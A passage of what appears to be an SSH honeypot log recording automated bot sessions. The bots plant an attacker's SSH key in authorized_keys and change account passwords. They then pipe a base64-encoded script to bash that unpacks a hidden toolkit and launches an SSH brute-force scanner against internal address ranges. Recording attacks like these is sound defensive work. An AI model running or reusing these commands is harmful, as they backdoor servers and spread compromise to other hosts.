/tmp/up.txt"},{"seq":34,"at":"2026-08-23T04:51:59.922546+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T04:52:00.088877+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-23T04:52:00.518504+00:00","kind":"output","latency_ms":594,"data":""},{"seq":37,"at":"2026-08-23T04:52:00.898770+00:00","kind":"output","latency_ms":809,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T04:52:00.964569+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T04:52:01.413605+00:00","kind":"output","latency_ms":448,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T04:52:01.480945+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T04:52:01.544845+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T04:52:02.263854+00:00","kind":"output","latency_ms":718,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T04:52:02.328691+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T04:52:02.814112+00:00","kind":"output","latency_ms":484,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T04:52:02.879298+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T04:52:03.291614+00:00","kind":"output","latency_ms":411,"data":""},{"seq":47,"at":"2026-08-23T04:52:11.094619+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T04:52:11.095058+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"prueba123","method":"password","accepted":true,"tier":"other"}]} {"id":"ef9be64f-5e8e-4a96-9bca-4e987a8034c4","name":"proud-watchful-stork","protocol":"ssh","channel_kind":"exec","src_ip":"159.223.97.218","src_port":34128,"username":"reporting","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":50,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T04:19:17.313792+00:00","ended_at":"2026-08-23T04:19:17.317810+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3514,"events":[{"seq":1,"at":"2026-08-23T04:19:00.083209+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T04:19:00.149221+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T04:19:02.125781+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T04:19:02.126431+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T04:19:02.177137+00:00","kind":"input","latency_ms":null,"data":"echo -e \"reporting\\n7dv3208RQFEe\\n7dv3208RQFEe\"|passwd|bash"},{"seq":6,"at":"2026-08-23T04:19:02.224751+00:00","kind":"input","latency_ms":null,"data":"echo \"reporting\\n7dv3208RQFEe\\n7dv3208RQFEe\\n\"|passwd"},{"seq":7,"at":"2026-08-23T04:19:02.272479+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T04:19:02.273003+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T04:19:02.324959+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T04:19:03.099789+00:00","kind":"output","latency_ms":773,"data":"15888 3462 9586 152 3127 10652"},{"seq":11,"at":"2026-08-23T04:19:03.106869+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T04:19:03.837474+00:00","kind":"output","latency_ms":729,"data":"-rwxr-xr-x 1 root root 151K Jul 12 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T04:19:03.886281+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T04:19:03.886796+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T04:19:03.935371+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T04:19:03.935989+00:00","kind":"output","latency_ms":null,"data":" 04:19:03 up 3 days, 1:09, 0 user, load average: 0.06, 0.07, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T04:19:03.985966+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T04:19:03.986527+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T04:19:04.035720+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T04:19:04.036277+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T04:19:04.085603+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T04:19:04.086341+00:00","kind":"output","latency_ms":null,"data":"top - 04:19:04 up 3 days, 1:09, 0 user, load average: 0.06, 0.07, 0.05\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T04:19:04.136073+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T04:19:04.137393+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T04:19:04.144930+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T04:19:04.145465+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T04:19:04.194572+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T04:19:04.195360+00:00","kind":"output","latency_ms":null,"data":"reporting"},{"seq":29,"at":"2026-08-23T04:19:04.244211+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T04:19:04.805295+00:00","kind":"output","latency_ms":560,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-23T04:19:04.815419+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T04:19:05.399512+00:00","kind":"output","latency_ms":582,"data":"24G"},{"seq":33,"at":"2026-08-23T04:19:05.793945+00:00","kind":"input","latency_ms":null,"data":"echo \"reporting reporting\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T04:19:05.800960+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T04:19:05.911813+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-23T04:19:06.302525+00:00","kind":"output","latency_ms":499,"data":""},{"seq":37,"at":"2026-08-23T04:19:06.433726+00:00","kind":"output","latency_ms":520,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T04:19:06.442271+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T04:19:06.989446+00:00","kind":"output","latency_ms":546,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T04:19:06.997809+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T04:19:07.004879+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T04:19:07.593373+00:00","kind":"output","latency_ms":587,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T04:19:07.643088+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T04:19:09.072174+00:00","kind":"output","latency_ms":1428,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T04:19:09.126150+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T04:19:17.315556+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-23T04:19:17.317174+00:00","kind":"output","latency_ms":null,"data":"reporting"}],"credentials":[{"username":"reporting","password":"reporting","method":"password","accepted":true,"tier":"other"}]} {"id":"0af38a76-50aa-4aa0-8784-af1dc7506ab5","name":"indigo-bronzed-grebe","protocol":"ssh","channel_kind":"exec","src_ip":"103.143.231.24","src_port":53226,"username":"smart","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":246,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T02:37:41.144862+00:00","ended_at":"2026-08-23T02:37:41.211971+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3326,"events":[{"seq":1,"at":"2026-08-23T02:37:13.541295+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T02:37:13.786097+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T02:37:17.703595+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T02:37:17.704091+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T02:37:17.951505+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nBQlRrj6rKOsl\\nBQlRrj6rKOsl\"|passwd|bash"},{"seq":6,"at":"2026-08-23T02:37:18.195899+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nBQlRrj6rKOsl\\nBQlRrj6rKOsl\\n\"|passwd"},{"seq":7,"at":"2026-08-23T02:37:18.440731+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T02:37:18.441301+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T02:37:18.690321+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T02:37:19.399310+00:00","kind":"output","latency_ms":708,"data":"15888 2416 10351 116 2980 0"},{"seq":11,"at":"2026-08-23T02:37:19.649101+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T02:37:20.427275+00:00","kind":"output","latency_ms":780,"data":"-rwxr-xr-x 1 root root 147K Apr 23 2025 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T02:37:20.674774+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T02:37:20.675423+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T02:37:20.921872+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T02:37:20.922264+00:00","kind":"output","latency_ms":null,"data":" 02:37:20 up 2 days, 23:27, 0 user, load average: 0.15, 0.16, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T02:37:21.169354+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T02:37:21.169931+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T02:37:21.415243+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T02:37:21.415693+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T02:37:21.665343+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T02:37:21.665820+00:00","kind":"output","latency_ms":null,"data":"top - 02:37:21 up 2 days, 23:27, 0 user, load average: 0.15, 0.16, 0.13\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T02:37:21.908134+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T02:37:21.908629+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T02:37:22.154993+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T02:37:22.155636+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T02:37:22.401898+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T02:37:22.402452+00:00","kind":"output","latency_ms":null,"data":"smart"},{"seq":29,"at":"2026-08-23T02:37:22.649052+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T02:37:23.472764+00:00","kind":"output","latency_ms":822,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T02:37:23.716628+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T02:37:24.123764+00:00","kind":"output","latency_ms":405,"data":"24G"},{"seq":33,"at":"2026-08-23T02:37:24.946626+00:00","kind":"input","latency_ms":null,"data":"echo \"smart 1234\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T02:37:25.190902+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T02:37:25.665648+00:00","kind":"output","latency_ms":473,"data":""},{"seq":36,"at":"2026-08-23T02:37:26.028065+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T02:37:26.507413+00:00","kind":"output","latency_ms":479,"data":"BQlRrj6rKOsl"},{"seq":38,"at":"2026-08-23T02:37:26.753437+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T02:37:27.281767+00:00","kind":"output","latency_ms":527,"data":"BQlRrj6rKOsl"},{"seq":40,"at":"2026-08-23T02:37:27.527825+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T02:37:27.773066+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T02:37:28.432673+00:00","kind":"output","latency_ms":657,"data":"BQlRrj6rKOsl"},{"seq":43,"at":"2026-08-23T02:37:28.678006+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T02:37:29.575291+00:00","kind":"output","latency_ms":897,"data":"BQlRrj6rKOsl"},{"seq":45,"at":"2026-08-23T02:37:29.821196+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T02:37:30.327506+00:00","kind":"output","latency_ms":504,"data":""},{"seq":47,"at":"2026-08-23T02:37:41.146066+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T02:37:41.146578+00:00","kind":"output","latency_ms":null,"data":"smart"}],"credentials":[{"username":"smart","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"44209e3f-5412-4815-bc23-09522c1769d6","name":"oaken-cosmic-bluebird","protocol":"ssh","channel_kind":"exec","src_ip":"103.182.132.154","src_port":54508,"username":"jitendra","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":686,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T01:13:57.416629+00:00","ended_at":"2026-08-23T01:13:57.629315+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3956,"events":[{"seq":1,"at":"2026-08-23T01:13:16.032054+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T01:13:16.714702+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T01:13:23.255880+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T01:13:23.256681+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T01:13:23.940497+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\nwtasToTppcj6\\nwtasToTppcj6\"|passwd|bash"},{"seq":6,"at":"2026-08-23T01:13:24.624228+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\nwtasToTppcj6\\nwtasToTppcj6\\n\"|passwd"},{"seq":7,"at":"2026-08-23T01:13:25.313779+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T01:13:25.314496+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T01:13:25.995993+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T01:13:26.518733+00:00","kind":"output","latency_ms":522,"data":"15888 11234 4654 0 0 0"},{"seq":11,"at":"2026-08-23T01:13:27.203232+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T01:13:27.813760+00:00","kind":"output","latency_ms":609,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:10 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T01:13:28.498818+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T01:13:28.499582+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T01:13:29.186141+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T01:13:29.186617+00:00","kind":"output","latency_ms":null,"data":" 01:13:29 up 2 days, 22:03, 0 user, load average: 0.25, 0.27, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T01:13:29.871883+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T01:13:29.872235+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T01:13:30.558146+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T01:13:30.558699+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T01:13:31.242160+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T01:13:31.242763+00:00","kind":"output","latency_ms":null,"data":"top - 01:13:31 up 2 days, 22:03, 0 user, load average: 0.25, 0.27, 0.21\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T01:13:31.928998+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T01:13:31.930424+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T01:13:32.617773+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T01:13:32.618595+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 